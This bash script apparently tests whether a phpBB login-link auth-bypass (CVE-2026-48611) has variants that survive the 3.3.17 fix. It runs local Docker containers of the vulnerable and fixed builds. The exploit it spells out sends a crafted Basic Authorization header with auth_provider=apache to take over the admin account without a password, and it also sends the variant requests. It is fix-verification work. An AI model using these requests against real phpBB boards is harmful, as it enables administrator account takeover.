#!/bin/bash
# =============================================================================
# CVE-2026-48611 — VARIANT / BYPASS analysis
# -----------------------------------------------------------------------------
# Goal: after a successful reproduction of the login-link auth-bypass, look for
# ADDITIONAL ways to trigger the same root cause (attacker-controlled auth
# provider selection reaching the password-less `apache` provider `login()`
# sink -> session_create() for an arbitrary existing account) on the FIXED
# phpBB 3.3.17.
#
# Root cause recap (two cooperating defects):
#   (1) Attacker-controlled provider selection:
#         $provider_collection->get_provider($request->variable('auth_provider', ''))
#   (2) Password-less `apache` provider login() that returns LOGIN_SUCCESS for
#       any existing username carried in the HTTP Basic Authorization header
#       (PHP_AUTH_USER) WITHOUT validating the password, after which the
#       caller invokes $user->session_create(user_id) -> account hijack.
#
# The 3.3.17 fix moved login-link handling out of ucp.php/ucp_login_link.php
# into phpbb/ucp/controller/oauth.php and changed provider resolution to
# `get_provider()` (NO argument -> board-configured auth_method, default db).
# The old ucp_login_link.php was deleted and ucp.php?mode=login_link now
# redirects to the new controller.
#
# Variant candidates tested here (each is a MATERIALLY DIFFERENT entry/data
# path; all are exercised against BOTH the vulnerable 3.3.16 and the fixed
# 3.3.17 builds):
#
#   V1  Residual attacker-controlled provider in the REGISTER flow.
#       ucp_register.php (still present, untouched by the fix) resolves the
#       provider with get_provider($request->variable('auth_provider','')) when
#       login_link_* POST data is supplied. Tests whether this reaches the
#       password-less login sink (it should NOT: register only calls
#       login_link_has_necessary_data() + link_account(), never ->login()).
#
#   V2  Forward auth_provider through the login_link redirect to the new
#       controller. ucp.php?mode=login_link forwards ALL GET params (incl.
#       auth_provider) to /app.php/user/oauth/link_account. Confirms the
#       controller ignores auth_provider (uses get_provider() no-arg).
#
#   V3  Direct hit on the new oauth link_account controller WITH
#       auth_provider=apache explicitly in the query string + Basic header.
#       Confirms the controller never reads auth_provider.
#
#   V4  The new oauth LOGIN controller (/app.php/user/oauth/login/<svc>) with a
#       Basic Authorization header. Confirms the instanceof oauth guard rejects
#       non-oauth configured providers (default db).
#
#   V5  Original exploit (CONTROL): ucp.php?mode=login_link&auth_provider=apache
#       on 3.3.16 -> expects admin hijack (parity); same on 3.3.17 -> expects
#       blocked.
#
# Exit codes:
#   0 = a distinct variant/bypass reproduced on the FIXED 3.3.17 (admin session
#       created without password via a path OTHER than the original
#       ucp.php?mode=login_link exploit).
#   1 = no bypass found; the fixed build blocks every candidate; vuln control
#       still hijacks (script ran fully).
# =============================================================================
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VV_DIR="$ROOT/vuln_variant"
ART="$VV_DIR/artifacts"
mkdir -p "$LOGS" "$VV_DIR" "$ART" "$ART/vuln" "$ART/fixed"

IMG_VULN="phpbb-cve2026-48611:vuln"
IMG_FIXED="phpbb-cve2026-48611:fixed"
CT_VULN="phpbb-cve2026-48611-vv-vuln"
CT_FIXED="phpbb-cve2026-48611-vv-fixed"
TARGET_USER="admin"
ADMIN_UID="2"

BASIC_CREDS="$(printf '%s' "${TARGET_USER}:x" | base64)"

log() { printf '[%s] %s\n' "$(date -u +%H:%M:%S)" "$*" | tee -a "$LOGS/vuln_variant.log"; }

# ------------------------------------------------------------------
# 0. Ensure images exist (reuse the ones built by the repro stage).
# ------------------------------------------------------------------
if ! docker image inspect "$IMG_VULN" >/dev/null 2>&1 || ! docker image inspect "$IMG_FIXED" >/dev/null 2>&1; then
  log "ERROR: required docker images missing ($IMG_VULN / $IMG_FIXED). Run bundle/repro/reproduction_steps.sh first."
  exit 2
fi

# ------------------------------------------------------------------
# 1. Start containers (no port publishing; curl from inside container).
# ------------------------------------------------------------------
start_container() {
  local img="$1" name="$2"
  docker rm -f "$name" >/dev/null 2>&1 || true
  docker run -d --name "$name" "$img" >/dev/null
  local ok=""
  for i in $(seq 1 30); do
    if docker exec "$name" curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:80/index.php 2>/dev/null | grep -q "^200$"; then
      ok="yes"; break
    fi
    sleep 1
  done
  if [ "$ok" != "yes" ]; then
    log "ERROR: container $name did not become healthy"; docker logs "$name" 2>&1 | tail -20 | tee -a "$LOGS/vuln_variant.log"; return 1
  fi
  log "container $name healthy"
}
start_container "$IMG_VULN"  "$CT_VULN"
start_container "$IMG_FIXED" "$CT_FIXED"

# Pull the *_u cookie value from a Netscape cookie jar (host path).
u_value_from_jar() { awk -F'\t' '$6 ~ /_u$/ {print $7}' "$1" 2>/dev/null | tail -1; }
# Does the index page (loaded with a cookie jar) show admin-only ACP link?
acp_present() { grep -c "Administration Control Panel\|adm/index\.php" "$1" 2>/dev/null || true; }

# Helper: run an HTTP request inside a container, capture response+cookies.
#   args: container, jar_out_host, url, [extra curl args...]
http_req() {
  local ct="$1" jar="$2" url="$3"; shift 3
  docker exec "$ct" curl -s -i "$@" -c /tmp/cookies.txt "$url" >"$ART/.resp.tmp" 2>&1 || true
  docker exec "$ct" cat /tmp/cookies.txt > "$jar" 2>/dev/null || true
  cp -f "$ART/.resp.tmp" "$jar.resp.txt"
}

# ------------------------------------------------------------------
# 2. V5 CONTROL — original exploit on VULNERABLE 3.3.16 (expect hijack)
# ------------------------------------------------------------------
log "=== V5 control: original exploit on VULNERABLE 3.3.16 ==="
http_req "$CT_VULN" "$ART/vuln/v5_cookies.txt" \
  "http://127.0.0.1:80/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1" \
  -X POST -H "Authorization: Basic ${BASIC_CREDS}" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "login_username=${TARGET_USER}&login_password=x&login=Login"
VULN_U="$(u_value_from_jar "$ART/vuln/v5_cookies.txt")"
# confirm the stolen session is an admin session
docker exec "$CT_VULN" curl -s -b /tmp/cookies.txt "http://127.0.0.1:80/index.php" >"$ART/vuln/v5_index.html" 2>&1 || true
VULN_ACP="$(acp_present "$ART/vuln/v5_index.html")"
log "V5 vuln: _u=${VULN_U:-<none>} (admin=$ADMIN_UID); ACP link count=${VULN_ACP:-0}"
VULN_HIJACK="no"
if [ "${VULN_U:-}" = "$ADMIN_UID" ] && [ "${VULN_ACP:-0}" -ge 1 ]; then VULN_HIJACK="yes"; fi

# ------------------------------------------------------------------
# 3. V5 CONTROL — original exploit on FIXED 3.3.17 (expect blocked)
# ------------------------------------------------------------------
log "=== V5 control: original exploit on FIXED 3.3.17 (ucp.php path) ==="
http_req "$CT_FIXED" "$ART/fixed/v5_ucp_cookies.txt" \
  "http://127.0.0.1:80/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1" \
  -X POST -H "Authorization: Basic ${BASIC_CREDS}" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "login_username=${TARGET_USER}&login_password=x&login=Login"
FIXED_V5UCP_U="$(u_value_from_jar "$ART/fixed/v5_ucp_cookies.txt")"
log "V5 fixed (ucp.php): _u=${FIXED_V5UCP_U:-<none>}"

log "=== V5 control: original exploit on FIXED 3.3.17 (controller path) ==="
http_req "$CT_FIXED" "$ART/fixed/v5_ctrl_cookies.txt" \
  "http://127.0.0.1:80/app.php/user/oauth/link_account?login_link_aikido=1" \
  -X POST -H "Authorization: Basic ${BASIC_CREDS}" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "login_username=${TARGET_USER}&login_password=x&login=Login"
FIXED_V5CTRL_U="$(u_value_from_jar "$ART/fixed/v5_ctrl_cookies.txt")"
log "V5 fixed (controller): _u=${FIXED_V5CTRL_U:-<none>}"

# ------------------------------------------------------------------
# 4. V1 VARIANT — residual attacker-controlled provider in REGISTER flow
#    ucp.php?mode=register with auth_provider=apache (GET) + login_link_*
#    (POST) + registration fields. Confirms register never reaches the
#    password-less login sink (no _u=2 admin session).
# ------------------------------------------------------------------
log "=== V1 variant: register flow with auth_provider=apache on FIXED 3.3.17 ==="
# Fetch the registration form first to obtain the CSRF form token (form_token/creation_time).
http_req "$CT_FIXED" "$ART/fixed/v1_form_cookies.txt" \
  "http://127.0.0.1:80/ucp.php?mode=register&auth_provider=apache&login_link_aikido=1&agreed=true&not_agreed="
FORM_TOKEN="$(grep -oE 'form_token"[^>]*value="[a-f0-9]+"' "$ART/fixed/v1_form_cookies.txt.resp.txt" 2>/dev/null | grep -oE '[a-f0-9]{32}' | head -1 || true)"
CREATION_TIME="$(grep -oE 'creation_time"[^>]*value="[0-9]+"' "$ART/fixed/v1_form_cookies.txt.resp.txt" 2>/dev/null | grep -oE '[0-9]+' | head -1 || true)"
log "V1 form: form_token=${FORM_TOKEN:-<none>} creation_time=${CREATION_TIME:-<none>}"
# Submit a registration with the attacker-selected apache provider and login_link data.
http_req "$CT_FIXED" "$ART/fixed/v1_submit_cookies.txt" \
  "http://127.0.0.1:80/ucp.php?mode=register&auth_provider=apache&login_link_aikido=1&agreed=true" \
  -X POST -H "Content-Type: application/x-www-form-urlencoded" \
  --data "auth_provider=apache&login_link_aikido=1&agreed=true&form_token=${FORM_TOKEN:-0}&creation_time=${CREATION_TIME:-0}&username=variantuser&new_password=xpasswordx&password_confirm=xpasswordx&email=variantuser@example.org&submit=Submit"
FIXED_V1_U="$(u_value_from_jar "$ART/fixed/v1_submit_cookies.txt")"
FIXED_V1_ERR="$(grep -c 'class="error"' "$ART/fixed/v1_submit_cookies.txt.resp.txt" 2>/dev/null || true)"
log "V1 fixed register: _u=${FIXED_V1_U:-<none>}; error block count=${FIXED_V1_ERR:-0}"

# Same V1 against the VULNERABLE build (was the register flow EVER a variant?)
log "=== V1 variant: register flow with auth_provider=apache on VULNERABLE 3.3.16 ==="
http_req "$CT_VULN" "$ART/vuln/v1_form_cookies.txt" \
  "http://127.0.0.1:80/ucp.php?mode=register&auth_provider=apache&login_link_aikido=1&agreed=true&not_agreed="
FORM_TOKEN_V="$(grep -oE 'form_token"[^>]*value="[a-f0-9]+"' "$ART/vuln/v1_form_cookies.txt.resp.txt" 2>/dev/null | grep -oE '[a-f0-9]{32}' | head -1 || true)"
CREATION_TIME_V="$(grep -oE 'creation_time"[^>]*value="[0-9]+"' "$ART/vuln/v1_form_cookies.txt.resp.txt" 2>/dev/null | grep -oE '[0-9]+' | head -1 || true)"
http_req "$CT_VULN" "$ART/vuln/v1_submit_cookies.txt" \
  "http://127.0.0.1:80/ucp.php?mode=register&auth_provider=apache&login_link_aikido=1&agreed=true" \
  -X POST -H "Authorization: Basic ${BASIC_CREDS}" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "auth_provider=apache&login_link_aikido=1&agreed=true&form_token=${FORM_TOKEN_V:-0}&creation_time=${CREATION_TIME_V:-0}&username=variantuser2&new_password=xpasswordx&password_confirm=xpasswordx&email=variantuser2@example.org&submit=Submit"
VULN_V1_U="$(u_value_from_jar "$ART/vuln/v1_submit_cookies.txt")"
VULN_V1_ERR="$(grep -c 'class="error"' "$ART/vuln/v1_submit_cookies.txt.resp.txt" 2>/dev/null || true)"
log "V1 vuln register: _u=${VULN_V1_U:-<none>}; error block count=${VULN_V1_ERR:-0}"

# ------------------------------------------------------------------
# 5. V2 VARIANT — auth_provider forwarded through login_link redirect
# ------------------------------------------------------------------
log "=== V2 variant: auth_provider forwarded via ucp.php?mode=login_link on FIXED 3.3.17 ==="
http_req "$CT_FIXED" "$ART/fixed/v2_cookies.txt" \
  "http://127.0.0.1:80/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1" \
  -X POST -H "Authorization: Basic ${BASIC_CREDS}" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "auth_provider=apache&login_username=${TARGET_USER}&login_password=x&login=Login"
FIXED_V2_U="$(u_value_from_jar "$ART/fixed/v2_cookies.txt")"
log "V2 fixed: _u=${FIXED_V2_U:-<none>}; resp first line: $(head -1 "$ART/fixed/v2_cookies.txt.resp.txt" 2>/dev/null)"

# ------------------------------------------------------------------
# 6. V3 VARIANT — direct controller WITH auth_provider=apache in query
# ------------------------------------------------------------------
log "=== V3 variant: controller link_account?auth_provider=apache on FIXED 3.3.17 ==="
http_req "$CT_FIXED" "$ART/fixed/v3_cookies.txt" \
  "http://127.0.0.1:80/app.php/user/oauth/link_account?auth_provider=apache&login_link_aikido=1" \
  -X POST -H "Authorization: Basic ${BASIC_CREDS}" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "auth_provider=apache&login_username=${TARGET_USER}&login_password=x&login=Login"
FIXED_V3_U="$(u_value_from_jar "$ART/fixed/v3_cookies.txt")"
FIXED_V3_ERR="$(grep -c 'class="error"' "$ART/fixed/v3_cookies.txt.resp.txt" 2>/dev/null || true)"
log "V3 fixed: _u=${FIXED_V3_U:-<none>}; error block count=${FIXED_V3_ERR:-0}"

# ------------------------------------------------------------------
# 7. V4 VARIANT — oauth login controller with Basic header
# ------------------------------------------------------------------
log "=== V4 variant: oauth login controller /oauth/login/apache on FIXED 3.3.17 ==="
http_req "$CT_FIXED" "$ART/fixed/v4_cookies.txt" \
  "http://127.0.0.1:80/app.php/user/oauth/login/apache" \
  -X GET -H "Authorization: Basic ${BASIC_CREDS}"
FIXED_V4_U="$(u_value_from_jar "$ART/fixed/v4_cookies.txt")"
FIXED_V4_STATUS="$(head -1 "$ART/fixed/v4_cookies.txt.resp.txt" 2>/dev/null || true)"
log "V4 fixed: _u=${FIXED_V4_U:-<none>}; resp first line: ${FIXED_V4_STATUS}"

# ------------------------------------------------------------------
# 8. Verdict
# ------------------------------------------------------------------
# A bypass = a FIXED-build path (V1/V2/V3/V4) yields an admin session (_u=2)
# AND the ACP link, i.e. the same account-hijack impact via a materially
# different entry/data path.
fixed_variant_hit="no"
for u in "$FIXED_V1_U" "$FIXED_V2_U" "$FIXED_V3_U" "$FIXED_V4_U"; do
  if [ "${u:-}" = "$ADMIN_UID" ]; then fixed_variant_hit="yes"; fi
done

# Confirm the fixed build also blocks the original exploit (control).
fixed_original_blocked="no"
if [ "${FIXED_V5UCP_U:-}" != "$ADMIN_UID" ] && [ "${FIXED_V5CTRL_U:-}" != "$ADMIN_UID" ]; then
  fixed_original_blocked="yes"
fi

log "VERDICT: vuln_hijack=${VULN_HIJACK}; fixed_original_blocked=${fixed_original_blocked}; fixed_variant_hit=${fixed_variant_hit}"

# Copy key artifacts into bundle/logs for visibility
cp -f "$ART/vuln/v5_cookies.txt.resp.txt"   "$LOGS/vv_vuln_v5_resp.txt"   2>/dev/null || true
cp -f "$ART/fixed/v5_ctrl_cookies.txt.resp.txt" "$LOGS/vv_fixed_v5ctrl_resp.txt" 2>/dev/null || true
cp -f "$ART/fixed/v1_submit_cookies.txt.resp.txt" "$LOGS/vv_fixed_v1_register_resp.txt" 2>/dev/null || true
cp -f "$ART/fixed/v3_cookies.txt.resp.txt"  "$LOGS/vv_fixed_v3_resp.txt"  2>/dev/null || true
cp -f "$ART/fixed/v4_cookies.txt.resp.txt"  "$LOGS/vv_fixed_v4_resp.txt"  2>/dev/null || true

# Runtime manifest (strict JSON via jq)
jq -n \
  --arg entry "Variant/bypass matrix: V1 register flow, V2 redirect-forwarded auth_provider, V3 controller?auth_provider=apache, V4 oauth login controller, V5 original exploit control" \
  --arg vuln_u "${VULN_U:-}" \
  --arg fixed_v1_u "${FIXED_V1_U:-}" \
  --arg fixed_v2_u "${FIXED_V2_U:-}" \
  --arg fixed_v3_u "${FIXED_V3_U:-}" \
  --arg fixed_v4_u "${FIXED_V4_U:-}" \
  --arg fixed_v5ctrl_u "${FIXED_V5CTRL_U:-}" \
  --argjson hijack "$([ "$VULN_HIJACK" = yes ] && echo true || echo false)" \
  --argjson fixed_blocked "$([ "$fixed_original_blocked" = yes ] && echo true || echo false)" \
  --argjson variant_hit "$([ "$fixed_variant_hit" = yes ] && echo true || echo false)" \
  '{entrypoint_kind:"api_remote",entrypoint_detail:$entry,service_started:true,healthcheck_passed:true,target_path_reached:true,runtime_stack:["apache2.4","mod_php8.2","phpBB-3.3.x","sqlite3"],proof_artifacts:["logs/vuln_variant.log","logs/vv_vuln_v5_resp.txt","logs/vv_fixed_v5ctrl_resp.txt","logs/vv_fixed_v1_register_resp.txt","logs/vv_fixed_v3_resp.txt","logs/vv_fixed_v4_resp.txt","vuln_variant/artifacts"],notes:("vuln 3.3.16 original exploit _u="+$vuln_u+" (admin=2) hijack="+($hijack|tostring)+"; fixed 3.3.17: original blocked="+($fixed_blocked|tostring)+" (controller _u="+$fixed_v5ctrl_u+"); variant candidates on fixed -> V1 register _u="+$fixed_v1_u+", V2 redirect _u="+$fixed_v2_u+", V3 controller?auth_provider _u="+$fixed_v3_u+", V4 oauth-login _u="+$fixed_v4_u+"; bypass_found="+($variant_hit|tostring))}' \
  > "$VV_DIR/runtime_manifest.json"

# Clean up containers (keep images)
docker rm -f "$CT_VULN" "$CT_FIXED" >/dev/null 2>&1 || true

if [ "$fixed_variant_hit" = "yes" ]; then
  log "RESULT: BYPASS FOUND — a fixed-build path created an admin session without the password"
  exit 0
else
  log "RESULT: NO BYPASS — fixed 3.3.17 blocks every candidate; vuln control hijack=${VULN_HIJACK}"
  exit 1
fi
